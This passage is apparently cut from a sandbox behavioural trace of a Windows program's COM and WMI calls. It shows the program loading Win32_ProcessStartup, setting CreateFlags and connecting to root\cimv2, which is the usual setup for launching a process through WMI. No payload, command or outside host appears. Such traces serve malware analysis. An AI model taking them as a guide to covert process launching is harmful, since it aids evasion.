CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0059.546] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0059.546] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6f30, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bea6f30) returned 0x0 [0059.546] WbemLocator:IUnknown:Release (This=0x1bea6f30) returned 0x2 [0059.546] SysStringLen (param_1=0x0) returned 0x0 [0059.546] WbemDefPath:IWbemPath:GetText (in: This=0x1bea08f0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0059.546] WbemDefPath:IWbemPath:GetText (in: This=0x1bea08f0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0059.547] IWbemServices:GetObject (in: This=0x1bea6f30, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1beb9bf0, ppCallResult=0x0) returned 0x0 [0059.548] IWbemClassObject:Get (in: This=0x1beb9bf0, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0059.548] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0059.549] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0059.549] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0059.549] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0059.549] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0059.549] IUnknown:Release (This=0x111f638) returned 0x1 [0059.551] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1beaa3b0) returned 0x0 [0059.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1beaa3b0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0059.551] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1beaa3b0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bea0a70) returned 0x0 [0059.551] WbemDefPath:IUnknown:Release (This=0x1beaa3b0) returned 0x0 [0059.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0a70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bea0a70) returned 0x0 [0059.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0a70, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0059.552] WbemDefPath:IUnknown:AddRef (This=0x1bea0a70) returned 0x3 [0059.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0a70, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0059.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0a70, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0059.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0a70, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1beaa3d0) returned 0x0 [0059.552] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1beaa3d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0059.552] WbemDefPath:IUnknown:Release (This=0x1beaa3d0) returned 0x3 [0059.552] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0059.552] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0059.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0a70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0059.553] WbemDefPath:IUnknown:Release (This=0x1bea0a70) returned 0x2 [0059.553] WbemDefPath:IUnknown:Release (This=0x1bea0a70) returned 0x1 [0059.553] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0059.553] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0059.553] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0a70, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bea0a70) returned 0x0 [0059.553] WbemDefPath:IUnknown:AddRef (This=0x1bea0a70) returned 0x3 [0059.554] WbemDefPath:IUnknown:Release (This=0x1bea0a70) returned 0x2 [0059.554] WbemDefPath:IWbemPath:SetText (This=0x1bea0a70, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0059.554] IWbemClassObject:Get (in: This=0x1beb9bf0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a29bf8*=0, plFlavor=0x2a29bfc*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a29bf8*=19, plFlavor=0x2a29bfc*=0) returned 0x0 [0059.554] IWbemClassObject:Get (in: This=0x1beb9bf0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a29bf8*=19, plFlavor=0x2a29bfc*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a29bf8*=19, plFlavor=0x2a29bfc*=0) returned 0x0 [0059.554] IWbemClassObject:Put (This=0x1beb9bf0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0059.554] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0830, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0059.554] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0059.554] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0059.554] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0059.554] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0059.554] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0059.555] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0059.555] IUnknown:Release (This=0x111f638) returned 0x1 [0059.557] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1beaa570) returned 0x0 [0059.557] WbemDefPath:IUnknown:QueryInterface (in: This=0x1beaa570, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0059.557] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1beaa570, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bea0b30) returned 0x0 [0059.557] WbemDefPath:IUnknown:Release (This=0x1beaa570) returned 0x0 [0059.557] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0b30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bea0b30) returned 0x0 [0059.557] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0b30, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0059.558] WbemDefPath:IUnknown:AddRef (This=0x1bea0b30) returned 0x3 [0059.558] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0b30, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0059.558] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0b30, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0059.558] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0b30, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1beaa5b0) returned 0x0 [0059.558] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1beaa5b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0059.558] WbemDefPath:IUnknown:Release (This=0x1beaa5b0) returned 0x3 [0059.558] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0059.558] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0059.558] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0b30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0059.558] WbemDefPath:IUnknown:Release (This=0x1bea0b30) returned 0x2 [0059.558] WbemDefPath:IUnknown:Release (This=0x1bea0b30) returned 0x1 [0059.558] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0059.558] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0059.558] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0b30, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bea0b30) returned 0x0 [0059.558] WbemDefPath:IUnknown:AddRef (This=0x1bea0b30) returned 0x3 [0059.559] WbemDefPath:IUnknown:Release (This=0x1bea0b30) returned 0x2 [0059.559] WbemDefPath:IWbemPath:SetText (This=0x1bea0b30, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0059.559] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0b30, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0059.559] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0b30, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0059.559] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0b30, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0059.559] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0059.559] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0059.559] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0059.559] IUnknown:Release (This=0x111f638) returned 0x1 [0059.560] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1beaa6b0) returned 0x0 [0059.560] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa6b0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0059.560] WbemLocator:IClassFactory:CreateInstance (in: This=0x1beaa6b0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1beaa6d0) returned 0x0 [0059.560] WbemLocator:IUnknown:Release (This=0x1beaa6b0) returned 0x0 [0059.560] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa6d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1beaa6d0) returned 0x0 [0059.560] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa6d0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0059.561] WbemLocator:IUnknown:AddRef (This=0x1beaa6d0) returned 0x3 [0059.561] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa6d0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0059.561] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa6d0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0059.561] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa6d0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0059.561] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0059.561] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0059.561] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa6d0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0059.561] WbemLocator:IUnknown:Release (This=0x1beaa6d0) returned 0x2 [0059.561] WbemLocator:IUnknown:Release (This=0x1beaa6d0) returned 0x1 [0059.561] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0059.561] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0059.561] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa6d0, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1beaa6d0) returned 0x0 [0059.561] WbemLocator:IUnknown:AddRef (This=0x1beaa6d0) returned 0x3 [0059.562] WbemLocator:IUnknown:Release (This=0x1beaa6d0) returned 0x2 [0059.562] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0b30, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0059.562] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0b30, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0059.562] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0b30, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0059.562] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1beaa6f0) returned 0x0 [0059.562] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1beaa6f0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bea7320) returned 0x0 [0059.636] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7320, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11df5a0) returned 0x0 [0059.636] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11df5a0, pProxy=0x1bea7320, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0059.636] WbemLocator:IUnknown:Release (This=0x11df5a0) returned 0x1 [0059.636] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7320, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11df5e0) returned 0x0 [0059.636] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7320, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11df5a0) returned 0x0 [0059.636] WbemLocator:IClientSecurity:SetBlanket (This=0x11df5a0, pProxy=0x1bea7320, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0059.637] WbemLocator:IUnknown:Release (This=0x11df5a0) returned 0x2 [0059.637] WbemLocator:IUnknown:Release (This=0x11df5e0) returned 0x1 [0059.637] CoTaskMemFree (pv=0x1beaad70) [0059.637] WbemLocator:IUnknown:AddRef (This=0x1bea7320) returned 0x2 [0059.637] WbemLocator:IUnknown:Release (This=0x1beaa6f0) returned 0x0 [0059.637] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0059.637] CoGetContextToken (in: 